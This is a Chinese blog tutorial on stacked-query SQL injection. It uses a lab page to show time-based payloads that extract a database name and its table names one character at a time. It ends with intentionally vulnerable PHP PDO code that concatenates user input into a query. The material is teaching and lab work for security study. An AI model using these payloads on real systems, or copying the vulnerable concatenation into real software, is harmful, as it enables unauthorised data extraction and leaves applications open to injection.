SQL注入基础:5.堆叠查询注入

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/SouthWind0/article/details/82929895

SQL注入基础:5.堆叠查询注入

5.1堆叠查询注入攻击

堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

1)考虑使用堆叠注入

访问URL:http://www.tianchi.com/web/duidie.php?id=1返回正常信息;

访问URL:http://www.tianchi.com/web/duidie.php?id=1'返回错误信息;

访问URL:http://www.tianchi.com/web/duidie.php?id=1'%23返回正常信息;

这里可以使用boolean注入、时间盲注、也可以使用堆叠注入。

2)获取数据库库名

(1)判断当前数据库库名的长度

语句:';select if(length(database())>=8,sleep(4),1)%23

URL:http://www.tianchi.com/web/duidie.php?id=1';select if(length(database())>=8,sleep(4),1)

可以看到页面响应时间是5023毫秒,即5.023秒,这说明了页面执行了sleep(4),也就是length(database())>=8成立。使用Burp的Repeater模块如下所示:

扫描二维码关注公众号,回复: 3556574 查看本文章

 

URL:http://www.tianchi.com/web/duidie.php?id=1';select if(length(database())>=9,sleep(4),1)

可以看到页面响应时间是1026毫秒,即1.026秒,这说明页面没有执行sleep(4),而是执行了select 1,也就是length(database())>=9是错误的。那么可以确定,当前数据库库名的长度是8。使用Burp的Repeater模块如下所示:

(2)获取当前数据库库名

由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。与boolean注入、时间盲注类似,也使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。

语句:';select if(substr(database(),1,1)='a',sleep(4),1)%23

URL:http://www.tianchi.com/web/duidie.php?id=1';select if(substr(database(),1,1)='s',sleep(4),1)%23

可以看到,当前数据库库名的第一个字符是s,同理可以得到库名是:security

3)获取数据库表名

语句:';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23

URL:http://www.tianchi.com/web/duidie.php?id=1';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23

可以看到security数据库的第一个表名的第一个字符是e。

同理,得到所有字符,最后得到security数据库的第一个表名是:emails。

和时间盲注相同,通过构造不同的时间注入语句,就可以得到完整的数据库库名,表名,字段名和具体数据。

5.2堆叠查询注入PHP代码

在堆叠注入页面中,程序获取GET参数ID,使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞。使用PDO执行SQL语句时,虽然可以执行多语句,但是PDO只会返回第一条SQL语句的执行结果,所以第二条语句中需要使用update更新数据或者使用时间盲注获取数据。代码如下:

<?php
header("Content-Type:text/html;charset=utf8");
try{
	$con=new PDO("mysql:host=localhost;dbname=security","root","root");
	$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
	$id=$_GET['id'];
	$stmt=$con->query("select * from users where id='".$id."'");
	$result=$stmt->setFetchMode(PDO::FETCH_ASSOC);
	foreach ($stmt->fetchAll() as $k => $v) {
		foreach ($v as $key => $value) {
			echo $value;
		}
	}
	$dsn=null;
}
catch(PDOException $e){
	echo "查询异常!";
}
$con=null;
?>

猜你喜欢

转载自blog.csdn.net/SouthWind0/article/details/82929895